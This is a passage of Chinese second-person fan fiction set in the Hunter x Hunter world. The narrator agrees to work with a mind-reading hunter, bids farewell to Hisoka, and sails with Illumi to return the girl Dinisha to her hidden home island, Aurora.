你抱紧盒子,不甘示弱,“既然我不能吃零食,你也不准吃!我们要同、甘、共、苦!”
“好。”
可恶,答应得这么快,感觉被他套路了。
*
接下来的日子,你过得充实(忙碌)且规律(艰苦)。
念力修行、暗杀训练、日常委托、教学旁观、格斗比赛……每天两眼一睁就是干活,两眼一闭就陷入昏迷,好在天空竞技场二百层以上的比赛每胜一场都有90天的准备期,才让你有了些许喘息的机会。
然而,揍敌客家族接到的委托遍布六个大陆。在你以前的想象中,长期出差=公费旅游,但是在你亲身体验后,你发现旅游是不可能的,一半的时间都会花在路上,剩下的一半中,95%用来工作,最多空出5%来购买一些当地特产。
那么,在没有kpi的前提下,你为什么要如此艰辛地工作呢?
因为你为了让伊尔迷“安心”养伤,大言不惭地表示在此期间他的全部委托都可以转给你做。说这句话的时候,你还没有看到他的排期表。
他和你的习惯不同,你喜欢完成一件事之后再去做下一件,时间线似乎会拉得很长,但整体上是一种令人舒适的状态。可是,这家伙为了提高效率,竟然会把一段时间内同一地区的所有委托全!都!接!了!
.
据说人一旦开始忙碌,就会感觉不到时间的流逝。
你在某天突然接到天空竞技场的电话,被告知距离本次的战斗准备期结束还有30天,才意识到已经过去了两个月。
你正好快要做完十月份的委托,不想把这件事拖到ddl,就让工作人员先帮你安排上月底的比赛,然后购买了回程的船票。
给当前的工作收尾,购买“旅游”纪念品,跟进迪妮莎的教学进度,查看阿弗格的调查信息和下一场比赛的对手资料,确认下个月的工作安排和伊尔迷的身体恢复情况……
一切都做完后,你看着飞行船窗外的夜景,久违地感到了一丝无聊。
无聊?你悚然一惊。人怎么能因为没有工作就无聊呢!这和世界首富说自己其实过得不快乐有什么区别?<
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p>你年纪轻轻就要踏入无趣的大人和万恶的有钱人行列了吗?这种事情不要啊!
你立刻拿出手机给伊尔迷发了一封邮件。
「我要吃零食。」
他的电话在下一秒打进来。
“为什么突然想吃零食?”
“我不快乐。我竟然感受不到快乐了,你知道这件事有多可怕吗?”
他沉默了一会,“你可以去飞行船上的健身房。”
“???不,我就要吃零食。”
“运动产生的多巴胺也能满足你的需求。为什么一定是''零食''?”
“那是虚假的快乐!只有损害身体健康的快乐才是真正的快乐。”你一本正经地胡说八道。
“损害身体健康的快乐……像糜稽那样吗?”
“差不多?”察觉到他态度的松动,你赶紧趁热打铁,“我都已经保持了两个月的健康了,只放纵一晚上没问题吧?再这样下去我会觉得活着没意思的。”
“我明白了。”
“所以?”
“不可以喝酒。”
“好耶!”
*
你抱着一堆膨化食品和碳酸饮料回到了窗边。餐厅的工作人员推着餐车跟在你身后,把你下单的小食一盘盘摆放到桌上。
所谓不健康的快乐,就是摄入过量重油、重辣、高盐、高糖的食物。你看着这些阔别已久的“好友”,两眼放光。虽然你的肠胃不一定受得了,但是管不了那么多了!
此情此景,怎么能少了漫画呢?你从口袋里翻出上飞行船之前购买的最新一期连载漫画,边看边狂吃。
“……洛特丝小姐?”
你没意识到这个人是在叫你。直到他重复了一遍。
你抬起头,好不容易从记忆的犄角旮旯里翻找出和“洛特丝”这个假名关联的人物。
“尤加利先生。”
他露出一个笑,“太好了,我还以为你已经忘了我呢。”
你礼貌地笑笑。
“我可以坐在这里吗?”他示意你对面的空位。
“你随意。”
你抽出一张纸巾擦了擦手,把桌上的零食往自己这边收了收,让他那边看起来不那么拥挤。
“这些东西如果你想吃,也随意。我点了很多。”
“那就多谢了。”尤加利一点都没有和你客气的意思,打开一罐汽水喝了一口。
“洛特丝小姐,你在笑什么?”
你没掩饰自己的表情,往嘴里塞了一个鱿鱼圈,摇摇头。
“你不是有读心术吗?就算我不说,你也知道吧?”
尤加利放下汽水,认真道,“当然不了。未经允许就随意窥探一位女士的内心,这种行为不太礼貌,我通常不会这样做的。”
“你现在说这个是不是晚了?难道你觉得,第一次见面就说别人是某个人的情人,这很礼貌吗?”
“啊……”尤加利尴尬地笑笑,“抱歉,那天是我误会了。”
你耸耸肩,又拿起一根薯条,“我刚刚是在笑——两次见到你,你都穿得很正经,但是上次你还记得装模作样地拿杯香槟,这次就……”
“我穿成这样是工作需要啦。西服在各种场合都很百搭不是吗?”尤加利说着,从衣服里拿出一张名片递给你。
你合上漫画,接过来看了看。
“……物流公司?”
“是的,六个大陆的任何地方,我们都能很快送到哦。”
“我还以为你会去当心理医生,你这样的能力,用来做这个不是正好吗?”
尤加利脸上泛起一丝苦笑,摇摇头,“恰恰相反,很多时候,我都会恨不得挖了自己的眼睛呢。”
54.No.019 尤加利
你好奇地看着他,“怎么说?”
尤加利将手肘撑在桌上,指了指自己的眼睛,“不管想不想看到,只要视线所及,别人的内心活动就会出现在眼前。你觉得这种能力,究竟是造物主的恩赐,还是诅咒?”
“它不受你控制吗?”
你挖了一勺蛋糕塞进嘴里,打量着他的眼睛,那是漂亮、纯净的翡翠色,像嵌在他眼眶里的宝石。
他闭起了眼睛。
“只有这样,它才会消失。但是一睁眼又会回来。我总不能在跟人说话的时候一直看着别的地方。”
“哦,需要物理阻隔。”你想起舞会上的事,原来他那个时候,是在用眼睛“看”克莱恩的内心。
“你真可怜。”
尤加利睁开眼,笑了笑,“你认为这是诅咒?”
你点点头。
“洛特丝小姐,你总是这么轻易地相信别人吗?”
你叉起一颗草莓,咬了一口。
“与其说轻信,不如说不在意吧。你说的话是真是假,跟我都没什么关系啊。所以你希望我相信,那我就信咯。”
“而且,”你拿过旁边的气泡水,“你到现在都还喊我''洛特丝''小姐,你真的觉得你的话有什么说服力吗?”
“好吧。”尤加利十指交叉,放在桌上,脸上又挂起了微笑。
“葵小姐。我的确知道你的名字,也知道你和揍敌客少爷的身份。你那天带走了蔷薇少女,实在是,让我有点意外。”
“然后呢?”
你等着他说下文。
“梅叶城的地下势力已经彻底清洗过,你不用担心会有麻烦。当然,我也不会向猎人协会告发你。”
“猎人协会?”
这件事跟猎人协会也有关系?说起来,迪妮莎被克莱恩的人带走之前,是在那个猎人家里。
“是的。''蔷薇少女''是猎人协会的财产,只是当时协会的人手不够,才被你们抢了先。”
你皱起眉。
“我有三个问题。一,你和猎人协会是什么关系?你是猎人吗?二,迪妮莎是人类,为什么说她是''财产''?三,你的意思是,就算那天我没有行动,猎人协会也会派人把她救出来吗?”
尤加利轻轻点头。
“你猜的不错。我是情报猎人,专门负责帮协会搜集信息。蔷薇少女不是人类,只是看起来像。协会会派人救她,因为协会需要她。”
“什么叫''不是人类''?”
“蔷薇少女是和我们不同的生物,她现在的外貌只是适应环境形成的拟态。你已经听说过她的来历了,不是吗?”
“黑暗大陆?”你想起拍卖会上的介绍,“那难道不是个噱头?她除了力气比较大,和别的孩子没什么区别。”
尤加利摇摇头,“具体的我不清楚,但是在这一点上,协会的判断不会出错。”
“你为什么要把这些事情告诉我呢?你既然是猎人,不是应该对猎人协会保持忠诚吗?”
“哈,因为关于如何安排蔷薇少女,协会内部也有不同的意见嘛。”
“你的想法是?”
“和你一样。让蔷薇少女回到家乡。”
*
你吃完了盘子里的油炸食品,开始喝碳酸饮料。尤加利极具耐心地等在对面,倒是除了那罐汽水以外什么都没动。
“所以,这就是你来找我的原因。不管是拍卖会那次,还是今天。你需要一个和任何一方都没有关联的人,介入猎人协会内部的权力争斗,是吗?”
尤加利笑了笑,“我在这种时候,不该再说什么冠冕堂皇的话来欺骗你了,是不是?”
你没什么表情地看着他。
“没错。是你想的那样。虽然出发点和目的都不同,但过程中我们还是可以合作的吧,洛特丝小姐?”
“迪妮莎被救走那天,你在现场,你用什么汇报给的猎人协会?”
“幻影旅团。”
……绝妙的主意。一想到库洛洛要替你背锅,你就觉得很爽。
“那么,在猎人协会里,还有谁认识''洛特丝''吗?”
“除我以外,没有了。”
“有谁见过''洛特丝''真正的脸?”
“包括我在内,没有人见过。”
“尤加利先生,你在说谎。”你放下吸管,指出他的错漏,“铃木缘也知道我的事,对吗?”
尤加利抿起唇,稍作思考。
“我没有欺骗你。你说的''铃木缘'',他是不接受协会管辖的猎人,协会里几乎没有人见过他,也没有人知道他在哪。至于你心里想的那个人是不是他,我不能确定。我只知道,按照他以往的作风,哪怕他知道了这件事,也不会管的。”
你姑且接受了他的说法。
“你的能力是只要看到对方,就一定会生效?”
尤加利点头。
“其他人竟然没有排挤你吗?应该不是谁都愿意让别人看到内心的吧。”
“不如说,没有人愿意。”尤加利苦笑,“所以那天在现场的只有我。”
也就是说,到底发生了什么,全靠他一张嘴胡编乱造了。
“距离那天已经过去了很久,为什么你直到今天才来找我?”
“把其他人的注意力转移到幻影旅团那里需要时间,把我自己的行程安排合理化,也需要时间。当然,最重要的一点是,我要确认你是可信的。”
确实,他跟你交了底,你就可以反过来把他的事透露给猎人协会。对他来说,跟人合作也是有风险的。
你思考了一会,做出决定。
“''洛特丝''可以跟你合作。但是这件事和''揍敌客''没有任何关系。”
“我明白。祝我们合作愉快,洛特丝小姐。”
尤加利伸出手。
你用纸巾擦干净手,跟他握了一下。
“除了你刚刚说的那些,你还能给我提供什么帮助呢?”
“一个地址。”尤加利微笑起来,“我可以告诉你,阿弗格的地址。”
“阿弗格?你知道这个地方在哪?”
他会知道你在寻找阿弗格,这不奇怪。可是,动用揍敌客家的情报网都没能查到的位置,他是怎么知道的呢?
“你忘了我的副业了吗,我对六个大陆的城市和街道都很了解哦。”
物流公司?但还是很奇怪。
“我还偷看了猎人协会的绝密资料。”
合理了。
可是,如果迪妮莎是来自黑暗大陆的生物,阿弗格难道是黑暗大陆的地点吗?那里又不属于六大陆。
“阿弗格是蔷薇少女在人类世界生长的地方。被协会找到之前,她一直都在那里。在我们的观念里,这就是''家乡'',对吧?”
嗯,就像你从小生活的村子,那里对你来说也是“家”。
那么,既然猎人协会知道迪妮莎的家在哪,就算你把她送回去,也不安全吧?
“这一点你不用担心,只要让蔷薇少女回家,她的族人会保护她。”
你发现了读心术的好处,你可以只吃东西不说话,也能把天聊下去。
“……但是我会被人当成神经病呢。”
你转头看了看周围。
“除了可能影响你的桃花以外,我觉得没什么坏处。”
你把空盘子叠在一起,示意他继续说。
“好吧。阿弗格,我不知道你是从哪里听到的这个名字。它不是通用语,而是当地语言的音译,意思是''黎明之地''。所以那个地方更常用的名称是''奥罗拉''。”
奥罗拉,黎明与曙光的女神。这是个很常见的取名方式,比如阿尔达市的奥斯塔拉港。
“的确,叫这个名字的地区成百上千,就连协会的资料里也没有写清楚。但我还是找到了。”
尤加利刻意停了停。哪怕你没有读心术,也知道他在等什么。
别废话了,说重点。你在心里说道。
“……”
尤加利拿出手机,低头按了按,“我直接把地址发给你吧,最好在一周内出发,协会那边拖不了太久。”
“可以。”
你接收了邮件。
阿弗格的位置在……优路比安大陆最南端的巴路沙群岛。那一片分布着大大小小的联邦,是你没去过的地方。
如果坐飞行船从天空竞技场出发,要跨越一大片海洋和陆地才能抵达,保守估计,光是花在路上的时间就要一个多礼拜,来回就是半个多月。
时间有点紧啊。
“你要和我一起行动吗?”
你放下手机,看着坐在对面的人。
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不了吧不了吧不了吧不了吧……
尤加利的嘴角微微抽搐,然后他慢慢地摇头。
“不了。现在协会里还没有人注意到你,加上我反而会影响这次的行动。我相信你,洛特丝小姐。”
再见再见再见再见!
尤加利欲言又止,然后点头。
“那么,如果后续有变动,我会邮件联系你。祝你顺利。”
你目送着他走出餐厅,轻轻松了口气。
一直控制着自己不胡思乱想也太难了!
你不知道尤加利为什么要把自己的能力告诉你,难道你看起来是那种与众不同的,可以接受自己在别人面前毫无隐私的人吗?
诚然,他很可怜。但你的确是他说的“没有人愿意”中的一员。
你很快就将这丝愧疚置之脑后,思考起刚刚刻意没去想的事——
伊尔迷的生日快到了。
这是你从基裘夫人那里得到的信息。
你觉得生日是一年中除了新年以外最重要的节日。活着很好,所以降生于世是值得感恩的事情。
你之前因为昏迷错过了奇犽的生日,还有点遗憾。如果这次再因为什么错过了伊尔迷的生日,你一定会拿块豆腐撞死自己。
一块豆腐是撞不死人的,所以你是在开玩笑。总之,在送迪妮莎回家这件事上,时间安排出了点问题。
你把尤加利的邮件转发给了伊尔迷,并附上你刚刚得到的信息和初步的行动计划。
迪妮莎在这段时间进步飞快,不仅能和你们进行简单的语言交流,还认识了一些常用字。你为了感谢西索,这次出门也专门给他买了一些礼物。
你打算下船后先找迪妮莎聊聊,至少让她明白你是要送她回家。你很清楚,她是不能一直跟着你和伊尔迷的,揍敌客家的环境对她而言只有坏处,没有好处。
*
你和西索的见面地点约在“欢乐之家”,因为这是他的工作时间。
在确认了你能很好地完成工作后,揍敌客的管家们都回了枯枯戮山,所以西索偶尔也会被你拜托照顾迪妮莎。
当然,要付钱。
这是你第二次到西索打工的地方,和酒吧那种嘈杂的环境相比,这个地方,怎么说呢……你刚踏进一步,就被小孩子的尖叫声吵得耳膜发痛眼前发晕,立刻退了出来。
“葵小姐,好久不见~”
“哈哈,好久——”试图用干笑掩饰尴尬的你目瞪口呆地看着身上沾满颜料,连脸都没有幸免的西索。
“这也是你工作的一部分吗?”
“呵呵呵呵,小孩子们都很有活力呢。”西索半张脸上都是红色的油彩,笑得有点瘆人,他的目光落在你的手上,“这是带给我的吗?”
“啊,是的。”经他提醒,你才想起自己手上还拎着东西。
西索毫不在意地在衣服上擦了擦手,伸出一根手指勾过你手上的袋子,打开后眼睛亮了亮。
“哦呀,您真是破费了,多谢啦~”
“是我要谢谢你对迪妮莎的照顾……”你从口袋里翻出纸巾递给他,“你还是先擦擦脸吧。”
“这个可能用不上呢。”西索微笑着,没接你的纸。
“?”
“Hi-So-Ka!”
你先是感觉到地板的震颤,接着看到一抹红色的影子,炮弹一样冲向了你面前的西索。
啪叽。
感受到危险的同时你本能地向后一躲,用「硬」将气转移到手上,接下了袭来的暗器。
“……”
现在你的手上沾满了颜料,罪魁祸首被西索抓着手控制住,两人一齐朝你看过来。
“迪妮莎。”你挤出一个笑。
“A-O-I!”
红发女孩眼睛一亮,直接拖着身边的人就要朝你扑过来,只不过刚往外跑了两步,就受了阻力一般停住了。
她皱起眉,继续往前冲,在你的眼中,就是她在试图挣脱“紫罗兰口香糖”。还好西索及时拉住了她,否则,你们仨就将拥有同款混乱颜料风的造型。
“葵小姐,您再看下去,我的手就要断了呢。”
你一抬头就对上西索怨念的目光。
“啊,抱歉抱歉。好了迪妮莎,停下。你先洗干净,换身衣服我们再拥抱,好吗?”
55.No.020 再见
“原来如此,她的课程结束了啊。”
西索咬着餐叉,看了眼坐在你身边,正在用奶油在盘子上画画的迪妮莎。
“嗯,这段时间辛苦你了。结课费已经打给了你的账户,虽然你之前说过不收费,但总不好让你做白工嘛。”
其实现在的场景有点熟悉,十年后的某一天,你会和西索、真人一起坐在昆昆贝卡市的某家餐馆,聊到现在的这个小女孩。想到这里,你不禁有些唏嘘。
“这顿饭也让我请客吧。”
“呵呵,那我就却之不恭了。其实我已经得到了足够的报酬,您看~”
西索伸出一根食指,粉色的念在他的指腹上方凝聚成一个四角尖尖的菱形,又在你的注视下变成了爱心的图案。
“哎?”
“哈哈~☆”
他依次伸出中指、无名指和小指,四种扑克牌花色在空中轮番出现、交替变换,最终停在A、O、I和“红心”上,像系在他指尖的四个小气球,随风飘荡。
“哈!”迪妮莎探出桌子,一掌拍上了西索的手心,眼睛亮晶晶地看着他,“西索,和我玩!”
气球破了。
薄薄的一层念成功阻隔住迪妮莎手上的奶油,你赶紧把她拉回来,给她擦手。
“现在不是玩耍的时候,我们还在谈事情呢。”
你按住迪妮莎,目光落回西索的脸上,真心实意地夸赞道,“你真的很有天赋!”
虽说变化系在改变气的形态上有天然的优势,但西索绝对是个中翘楚。
“多谢夸奖~”西索微微笑着,“那么这就是我为您表演的最后一个魔术了。”
“什么?”
“您昨天的比赛很精彩。如果您之后成为了天空竞技场的楼主,我可以去挑战您吗?”
“当然可以……你刚刚说的''最后一个''是?”
“哈哈,因为我也要离开这里了。”
“欸?你要去哪?”
“还没确定~但是打工这种事,到哪都一样嘛。”
你点点头,莫名的有一丝伤感。
“西索。”
“嗯?”
你看着那双金色的眼睛,认真地问,“你的记性很差吗?”
“应该,挺好的?您为什么这么问?”
“没什么……只是希望你以后不要伤到脑子。”
“我可以把这个当做您给我的临别祝福吗?”
“可以吧。”
“那我也祝您健康。”
*
你跟迪妮莎解释了当前的情况,她坐在椅子上,红色的眼睛呆呆地看着你。
“……你能明白吗?”
“回家以后,西索还会陪我玩吗?葵和伊尔迷还会给我买吃的吗?”
原来你们在她心里是这个分类啊。==
“我和伊路会去看你的,至于西索……”你看向西索。
“哈哈哈。”西索张开手臂。
迪妮莎跳下椅子,一头扎进他怀里。
“唉。”
你在这一刻,又真情实感地担忧起西索的脑子。迪妮莎不记得小时候的事还情有可原,西索一个成年人,按理来说不该这么健忘的。
“好啦,该说再见了呢。”西索拍了拍迪妮莎的脑袋。
“西索,跟我回家。”迪妮莎突然语出惊人。她拽住西索的衣服,仰头看他,“跟我回家,陪我玩。”
“不行呢。一直待在同一个地方,我会腻的。”西索扒开她的手,“不如你快点长大,从家里面出来呢?”
迪妮莎看起来是在认真地思考,然后重重点头,“好!我会多吃饭,多睡觉,快快长大!找你玩!”
“那我就等着你咯。”
……
十年后的他们都忘了这个约定啊。
*
“对,''欢乐之家''斜对面,门口有一棵树的餐馆,没有标牌,我们就在这。”
你放下手机,看到了从门外走进来的伊尔迷。
“这里这里!”你朝他招招手。
这是西索推荐的餐馆,味道很好,很受当地人欢迎,所以中午的时候人多到爆炸。现在过了饭点,总算空下来。你也不用再对试图拼桌的人说,不好意思其实我们是三个人呢。
“你是一下船就过来了吗?吃午饭了吗?”你给他倒了杯水,推到旁边。
“嗯。吃过了。”
伊尔迷在你身边坐下。对面的迪妮莎恹恹地趴在桌上,掀开眼皮,含混地喊了他一声。
“她怎么了?”
“吃多了……”
伊尔迷拿过桌上的账单看了眼,“这是她平时饭量的三倍。”
“啊……是的,我忘了这回事。”你尴尬地挠了挠脸,“我已经检查过了,迪妮莎只是有点消化不良。”
一旦身边的人太靠谱,就会无意识地当起甩手掌柜……这也是人之常情吧?
伊尔迷伸手翻了下迪妮莎的眼睑,认同了你的说法。迪妮莎慢半拍地被他的动作吓到,整个人跳到椅子上。
“放松,放松,没事的。”
你用眼神示意伊尔迷。
“她现在吃不了糖果。”
“是哦。”
你只好退而求其次,抓住他的手腕,表示自己不会再让他“乱动”。
迪妮莎将信将疑地挪进更里面的椅子,才慢慢地趴回去。
“唉。”
你发现自己今天叹气的次数有点多,于是努力振作起来,“我们来聊聊后面几天的安排吧。”
“回家之后,''给三毛喂食''这一项要加回你的训练表里。”
“行。”你直接点头答应,反正具体的要到时候再说。
“电击训练也要加上。”
“行……你说什么?”
“电击。奇犽已经开始训练了呢。”
惨无人道!你知道伊尔迷这几天回家是为了监督奇犽训练,但你没想到训练的内容能这么变态。
“我拒绝。我不要。这种训练有什么意义吗?”
“当然是为了增强身体对电流的抗性。”伊尔迷一脸“你竟然连这个也要问”的表情。
“难道任务会需要我去摸电门吗?”
伊尔迷思考了两秒钟,肯定地告诉你,“有可能。”
“那么我会当场撤退,把任务转给你。”
“……”
“不行吗?”
“唔,我需要想想。”
“你先想着。”你松开他的手,拿出在飞行船上画的简易版日历。
“你看,我打算买明天的船票,最快最快,四号能到巴路沙群岛。那个地方我没有去过,可能还要找上两到三天。再加上回程的时间,”你轻轻叹了口气,“无论如何,我都赶不上你的生日了,伊路。”
“我会和你一起去。”
“哎?可是,这样你就不能和家
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人一起过生日了呀?”
“不是什么重要的日子。”
“怎么能这么说呢?生日当然重要了,之前奇犽过生日,你不是一定要赶回家吗?”
“因为奇犽过完今年的生日,就可以正式接受暗杀训练了。”
你捋了一下他的逻辑,“所以你那么着急的回去,是想参加他的训练,而不是祝他生日快乐吗?”
“有祝福哦。”伊尔迷认真地说,“我有祝福他,成为一个优秀的杀手。奇犽的天赋是最好的,那天,家里的每个人都很高兴呢。”
……你不知道奇犽高不高兴,你只知道,如果被“寄予厚望”的这个人是你,你是不会高兴的。
“还是先不聊这个了。既然你不是非得回家,可以跟我一起的话,我是没什么意见啦。”
*
再次坐上飞行船,你已经完全没有了第一次的新鲜感。
这种交通工具在未来的十年间,无论是造型上还是速度上都没有太大提升,船舱内的服务设施同样如此。
简单来说,你腻了。
不仅腻了,还有点晕船。
诚然,飞行船开得很平稳,但平稳中又带着一丝波动,一旦你注意到了这丝波动,就仿佛有个声音一直在提醒你:你不是在陆地上,而是在空中。
迪妮莎睡一觉就恢复了精神,上船后很有活力地在船舱里乱跑,神色恹恹的人反而成了你。
“葵,你还是没有食欲吗?”
伊尔迷打开房间的门,走进来。
你摇摇头。
你不光是不想吃东西,连水都不想喝。
他坐到床边,伸手探了探你的额头。
“体温正常。”
“我没发烧,我觉得是''长期出差综合征''。”简称,飞行船坐多了。
你靠在床头,两眼放空,“唉,这次回去之后我想休息一阵。”
“也可能是你前几天吃了太多零食。”
“怎么可能!这都过去多少天了?我又不是小孩子,怎么会因为吃多了零食吃不下饭。要不是身体不舒服,再怎么样我都会吃点的。”你说着说着,皱起眉,“……说太多话也好难受。”
“躺下休息吧。”
伊尔迷轻轻按住你的肩膀。你顺着他的力道躺下,看着房间的天花板,那股恶心的感觉挥之不去。
你努力闭眼,又睁开,“……伊路,我睡不着。”
“我给你扎一针吧。”
“?!”
你伸出一只手拦住他,冷汗都冒出来,“不要。很可怕。你快收回去。”
他抓着念针,一瞬不瞬地看着你,“你连刀都不怕,怎么会怕这个。”
“……反正不要。”
头又开始发晕,你松开他的手,缩回被子里,“……你给我讲故事好不好?”
“讲故事?”
“嗯……我想听。”
“……”
“……我记得船上有图书室,随便念一本也可以。”
“好吧。”
.
十分钟后。
“……伊路,这是鬼故事吗?”
伊尔迷看了眼封面。
“不是。”
“那你的声音,可不可以稍微有起伏一点呢?”
他没说话。
你睁开眼,和那双黑漆漆的眼睛对视了一会。
“……当我没说,你继续念吧。”
56.No.021 钥匙
行程过去一大半,你终于从半死不活的状态下恢复过来,有心情欣赏沿途的风景了。飞行船已经跨越了大海,来到优路比安大陆的上空。
这里是你相对熟悉的地方,你曾经在这生活过几个月,最近也因为工作的原因来过,但是你没有试图去寻找“故人”。
该见面的时候,总会相见。
你一直是这么认为的。
.
“有觉得哪里熟悉吗?”
你走到窗前,问旁边的迪妮莎。
她趴在玻璃上,看着下方的巴路沙群岛。
“……船。我坐过,海上的船!”
“是在家的时候吗?还是,从家里出去的时候?”
“……不记得。”迪妮莎揉揉眼睛,撅起嘴。
“没关系。说不定到了附近,你就会想起来呢。”
你安慰着她,却想起自己离家前的事。
当时,村子里的人告诉你,要坐船才能出去。可是你完全没有之后的记忆,行李和船票也都随着你的第一次死亡遗失了。没有村子的地址,也没有村里人的联系方式,你还能找到它吗?
或者说,你真的,还回得去吗?
“我联系了一个常年出海的渔民,他明天可以送我们去。”
伊尔迷的声音打断了你的思绪。
“太好了。你有问他关于奥罗拉的传闻吗?”
奥罗拉,黎明之地,只在黎明的海雾中出现的圣地。
*
“那个是我爷爷辈的事儿啦。这片海上经常起雾,南边又没有别的大陆,所以船一旦离岸太远,很容易迷失。至少在当时,村里的人如果出海半个月还没回来,就会默认已经出事了。但是有一回,有个失踪了半年的人突然回家,说他在海上遇到了''仙境''。”
你点点头,示意你面前的渔民接着说。
“大家就问他,怎么回事?那个人说,他为了捕一条鱿鱼,忘了时间,反应过来时天已经黑了,四面都是浓雾,连星星都看不见,他就想等到第二天,雾散了再回家。但是那次的雾持续了整整三天,指南针也莫名其妙的失灵。他几乎快要绝望的时候,船靠岸了。”
你们的船轻轻一晃,仿佛碰到了什么。你立刻扭头张望。
渔民抓了抓脑袋,咧开嘴露出一口白牙,“是撞到了礁石,您别担心,这船很结实的。”
担心倒是不担心,就算掉到水里也能游回去,就是这个鬼故事一样的开场难免让人一惊一乍。
“你要不一会再接着讲?”
“没事的,这片海我跑了十来年了,别看我年纪小,我可是五岁就跟着老爹出海了呢。
“我刚刚说到哪,哦,他的船靠岸了。他说,岸上有很多穿白衣服的女人在唱歌跳舞,看到他这个陌生人,非但不觉得奇怪,还邀请他加入她们的庆典。他留下来住了几天,提出想要回家,那些人却告诉他,只有等到下一个黎明的海雾升起,他才能回去。
“他这一等就是半年。村里的人听了他的话,想去找他说的那个地方,我爷爷就是其中的一员。我爷爷说,他们特意等到有雾的天气,怕船在海上迷路,还从岸边牵了条绳子,把所有的船都接在一起。几乎发动了全村的人,最后在离岸十公里的地方找到了那个海岛。”
“十公里好像不是很远?”
“那个时候是手划船,要找上一整天。现在快多啦。按我们现在的速度,再过上十分钟您就能看到它了。”
“可是今天海上没有雾,不会找不到吗?”
“这个季节本来就很少起雾。不过您不用担心找不到,因为奥罗拉的传闻是假的。”
“?”
“他们在雾天登上海岛,什么也没发现吗?”伊尔迷忽然开口询问。
“啊,对,听我爷爷说,他们找到奥罗拉的时候,那里就已经是一座荒岛了。倒是发现了一些居住的痕迹,是最开始说这件事的人留下的,所以他们都觉得,那个人是一个人在岛上住了半年,精神错乱了。”
好科学的解释……
“我们都是把它当故事听的,这几年不知道怎么的,传到外面,越传越玄乎。之前还有一批人专门找到村子里,要我们带他们上岛。那个岛上什么都没有啊。”
渔民说到这里,腼腆地笑了笑,“呃,你们逛完了想回去,随时都可以,我不会另外收费的。”
“那就谢谢了,下次来玩还找你。”你露出标准的微笑。
“哎。”
.
你确认了一遍尤加利提供的“抽象”地址:巴路沙群岛,米特聂联邦,洛卡力欧共和国,马里皮耶特拉市,谢洛村以南。
谢洛村紧挨着国境,再往南只有大海。海上的确有个“奥罗拉”,当地的发音也的确很像“阿弗格”。
几乎可以肯定就是这里,只是现在不是黎明,也没有海雾。
“您看!那边就是了。”
你抬头望去,海平面上露出一个深色的岛屿,可以看见岛上生长着很多树木,天空中隐约有飞鸟的痕迹。
“……树。”
“什么?”
“树。还有,湖。”迪妮莎站起来,直勾勾地看着远方的岛。
“哪里有树?”
“什么?”
你又看向另一边的伊尔迷。
“岛上什么都没有。”他转头看你,“你看到的不是这样吗?”
“我看到的……”
你揉了揉眼睛,随着船的靠近,岛屿越发清晰,你逐渐看清了它的全貌。
郁郁葱葱的树,岸边垂落的纤绿枝条上点缀着黄色的花,泉水从山石间淙淙流下,溅起的水雾将阳光折射成弯弯的彩虹。白鸟在林间歌唱。
山泉边,蹲身取水的女人看到你们,睁大了眼睛,连手中的水壶正在往外倾倒都未能察觉。
“……阿扎尔!”
她忽然朝这边大喊,“阿扎尔,是你吗?”
“妈妈!”
迪妮莎大声地回应。她跑上船头,眼眶里含着两团泪。你们的船还没有靠岸,她蹲下身体,似乎是想直接跳过去。
“等一下。等——”
你没能拉住她,起跳的反作用力让船只狠狠打晃,渔民一个没站稳,脑袋磕到船舵上,晕了过去。
你和伊尔迷及时稳住了身体,你拉着他的手,打算一起跳过去,被他拦住。
“葵,这里不对劲。迪妮莎不见了。”
“不见?她明明就在那……”
在你的视野中,迪妮莎和岸上的白裙女人紧紧相拥,微风卷起她们火红的长发和岸边嫩绿的枝条,海水的涩、发动机的声响、花香、鸟鸣、脚下晃动的渔船和眼前平静的海岛,每一样都很真实。
“我们之中一定有个人看到的是假的。”你很快做出决定,“我要上去看看。”
伊尔迷没有放开你的手。
“怎么?”
“以防万一,我想用上这个。”他的指间夹着一根熟悉的念针。
你明白了他的意图。
“……好吧,还是脖子吗?”
伊尔迷的手法很快,你没感觉到什么痛感。比起这个,主要是这件事就像吃药一样,让人有点抗拒。
“还有你的血。”
“……如果只是为了感知位置,一滴应该就够了。”你划破了指尖。
.
事实证明,你们的准备并不多余。
踏上陆地的一瞬间,你的手中一空。你回身看去,身后的海面平静无风,不仅伊尔迷不见踪影,就连停在岸边的船也都消失无踪。
「血液控制」仍在起效,虽然像信号受到干扰一样,让你分辨不出他的具体位置,但多少给你带来了一点安心感。
岸上的两人都注意到了你。白裙女人直起身,牵着迪妮莎的手,对你露出一个温柔的笑。
“远道而来的客人,欢迎你来到奥罗拉。我是阿扎尔的母亲西琳,谢谢你送她回来。请让我好好地招待你吧。”
“西琳夫人,你好。”你站在原地没动,“请问,跟我一起上岛的人在哪?”
“他在外面的岛上。”
“外面的岛?是那座荒岛吗?”
西琳夫人露出赞许的笑。
“很抱歉将你们分开,但是奥罗拉是不允许男性进入的,只有女性才能感知到它的存在。这儿已经很多年没有来过外人了,你是阿扎尔的恩人,就是整个奥罗拉的恩人,请跟我来,我会把你介绍给大家。”
“请等一等。”
你看向迪妮莎,“迪妮莎,她真的是你的妈妈吗?阿扎尔是你本来的名字?”
迪妮莎抓着西琳夫人的手,用力点头。
“迪妮莎……你给她取了新名字吗?”西琳夫人眉头微皱。
“不,我是听别人这样喊的。迪妮莎没有跟我说过她叫阿扎尔。”
“……我看到妈妈,才想起来的。”迪妮莎眨巴着眼睛。
“原来是这样。”西琳夫人的眉头松开,眼中仍带着一丝忧虑,“阿扎尔离家的时候年纪太小了,我一直很担心她。”
“夫人,她是
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怎么流落在外的呢?”
“这件事是我的错。跟我来吧,我会在路上告诉你。”西琳夫人看了你一眼,“不用叫我夫人,直接叫西琳就好。可以告诉我你的名字吗?”
“好,西琳。我叫葵。”
*
“你在来的路上应该已经听说过奥罗拉的传闻了。”
“是的,谢洛村的渔民告诉我,传闻是假的。现在看来,并不是。”
“有一部分的确是真的。”
西琳垂着眼睫,轻声说道。
“我们的族人在几十年前搬到这座岛上,我的祖母是当时的族长,她给这里取名叫奥罗拉,并将它与外界分开。我们从此定居在这里,过着与世隔绝的生活。只有偶尔,可以从误入这里的人口中听说一些外面的事。
“祖母一直都说,外面的世界很危险。最初的族人也都赞同她的观点,但是新出生的孩子却总是向往着离开。后来,祖母同意了她们的请求,条件是永远不能回来。我的母亲就是这样走的。
